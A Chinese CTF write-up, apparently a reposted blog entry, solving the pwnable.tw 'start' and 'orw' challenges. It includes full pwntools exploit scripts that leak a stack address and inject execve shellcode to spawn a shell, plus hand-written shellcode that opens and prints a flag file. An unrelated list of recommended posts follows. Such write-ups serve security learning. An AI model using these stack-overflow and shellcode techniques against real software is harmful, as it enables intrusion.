emm,之前一直想做tw的pwnable苦于没有小飞机(,今天做了一下发现都是比较硬核的pwn题目,对于我这种刚入门?的菜鸡来说可能难度刚好(orz

1.start

  比较简单的一个栈溢出,给出一个linux 0x80系统调用的参考网址,就决定是他了

参考之可以发现al=0x3执行sys_read时长度是0x3c*size_sz,栈的长度是0x14,明显的栈溢出。由于没有开启NX,所以直接在栈上布置shellcode即可。

需要注意的是:

  虽然程序没有开启PIE,但是利用的话是需要绕过ASLR的;原因是ASLR只是不影响代码段和数据段的基址随机化,而我们布置的shellcode是在栈上,堆段和栈段是受系统ASLR影响的

  脚本执行后shell没有回显可能是shellcode的问题,最好是自己写一个

给出脚本

from pwn import *context.log_level='DEBUG'r=remote('chall.pwnable.tw',10000)r.recvuntil("Let's start the CTF:")
payload='a'*20+p32(0x08048087)
r.send(payload)
esp=u32(r.recv(4))
success(hex(esp))#r.recvuntil("Let's start the CTF:\n")
shellcode = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
payload='a'*20+p32(esp+20)+shellcoder.sendline(payload)r.interactive()

2.orw

  编写shellcode即可,参考上面给出的linux系统调用参考网址

from pwn import *  context(log_level = 'debug', arch = 'i386', os = 'linux') p=remote('chall.pwnable.tw',10001)p.recvuntil(':') shellcode="" shellcode += asm('xor ecx,ecx;mov eax,0x5; push ecx;push 0x67616c66; push 0x2f77726f; push 0x2f656d6f; push 0x682f2f2f; mov ebx,esp;xor edx,edx;int 0x80;') #open(file,0,0) shellcode += asm('mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov dl,0x30;int 0x80;') #read(3,file,0x30) shellcode += asm('mov eax,0x4;mov bl,0x1;int 0x80;') #write(1,file,0x30) p.sendline(shellcode)print p.recv()

转载于:https://www.cnblogs.com/snip3r/p/10314687.html

pwnable.tw startorw相关推荐

  1. Pwnable.tw之BookWriter

    Pwnable.tw之BookWriter 知识点 FSOP是FILE Stream Oriented Programming的缩写, 进程内所有的_IO_FILE结构会使用_chain域相互连接成一 ...

  2. pwnable.tw unexploitable 分析

    这题是和pwnable.kr差不多的一道题,主要区别在于没有给syscall.所以需要自己去找. 只有read和sleep两个函数. 思路一是首先劫持堆栈到bss段,然后调用read函数将sleep的 ...

  3. 【pwnable.tw】 death_note

    题目逻辑比较简单,大概增加和删除和打印三个功能: show函数中,打印各日记内容,由于这题没有给出libc文件,应该不需要泄露地址,估计用处不大: delete函数中,正常的free,然后指针修改为n ...

  4. pwn with glibc heap(堆利用手册)

    前言 ​ 对一些有趣的堆相关的漏洞的利用做一个记录,如有差错,请见谅. ​ 文中未做说明 均是指 glibc 2.23 ​ 相关引用已在文中进行了标注,如有遗漏,请提醒. 简单源码分析 ​ 本节只是简 ...

  5. linux 获取 基地址,linux - 每个函数加载的glibc基地址不同。 - SO中文参考 - www.soinside.com...

    我试图计算一个二进制文件的库的基地址.我有printf,putes ecc的地址,然后我减去它的偏移量,得到库的基地址.我对printf,putes和signal这样做,但每次我得到的基地址都不一样. ...

  6. PWN-PRACTICE-BUUCTF-18

    PWN-PRACTICE-BUUCTF-18 ciscn_2019_final_3 ciscn_2019_s_9 jarvisoj_level5 pwnable_hacknote ciscn_2019 ...

  7. 64位c语言调用32位glibc,glibc fclose源代码阅读及伪造_IO_FILE利用fclose实现任意地址执行...

    简介 最近学习了一下_IO_FILE的利用,刚好在pwnable.tw上碰到一道相关的题目.拿来做了一下,遇到了一些困难,不过顺利解决了,顺便读了一波相关源码,对_IO_FILE有了更深的理解. 文章 ...

  8. shellcode执行盒_简单shellcode学习

    引言 之前遇到没开启NX保护的时候,都是直接用pwtools库里的shellcode一把梭,也不太懂shellcode代码具体做了些什么,遇到了几道不能一把梭的题目,简单学习一下shellcode的编 ...

  9. 计算机、网络安全、CTF资源总结-The_Growth_Path_Of_A_Pwner(一名安全从业者的成长之路)

    The_Growth_Path_Of_A_Pwner(一名安全从业者的成长之路) github项目,会不断更新,求个star! https://github.com/tangzichengcc/The ...

最新文章

  1. 一个简单HTML鼠标事件问题的衍化历程
  2. webstorm前端调用后端接口_一篇前端同学对后端接口的吐槽
  3. 前端学习(2043)vue之电商管理系统电商系统之优化web.config.js的配置文件
  4. 二维数组(声明以及遍历)
  5. 最新!2020世界一流大学学术排名出炉!
  6. 全民超神服务器维护,全民超神更新维护公告 更新内容详细一览
  7. Julia: PkgMirrors,提升库下载速度
  8. Matlab查找图像块在原图中的位置
  9. u-boot新结构浏览
  10. OpenCV实战2——进行颜色检测(HSV颜色空间)和分割的隐形斗篷
  11. 教资报名网站显示无法访问此页面
  12. 粗糙集约简 程序 matlab,粗糙集属性约简matlab程序
  13. 7-18 二分法求多项式单根
  14. TP-LINK路由器与pfSense建立IPsec连接
  15. 海大C程序期末上机题库20道
  16. Window10中Dev-C++ 使用EasyX绘图库编程入门
  17. LayIM 3.9.1与ASP.NET SignalR实现Web聊天室快速入门(四)之ASP.NET SignalR核心功能介绍
  18. 伊莱科多功能数显式仪器仪表EM33D袖珍高精度全自动表笔电工数字万能表
  19. SuperMap 三维性能提问单
  20. android界面最小化实现,Android-Android 怎么实现应用程序最小化到后台运行,不被系统kill...

热门文章

  1. stats | 介绍三个与数学规划函数
  2. python变量类型声明_python变量声明及简单数据类型
  3. mysql 可逆编码,简单明白彻底解决 MySQL 中文编码问题
  4. 初级Web前端工程师是什么?初级Web前端工程师的技术体系有哪些?
  5. python中findroot_Python源码问题算负数平方根无结果输出何解,python负数,def findRoot...
  6. python url解析path_Django(CBV解析、模板层)
  7. 网站二次开发如何防止别人打包源码_企业网站制作前需注意的几个事项
  8. 利用 Excel 在 Altium Designer 中快速新建元器件库
  9. STM8学习笔记---利用PWM功能输出SPWM波
  10. STM8学习笔记---定时器 TIM2功能实现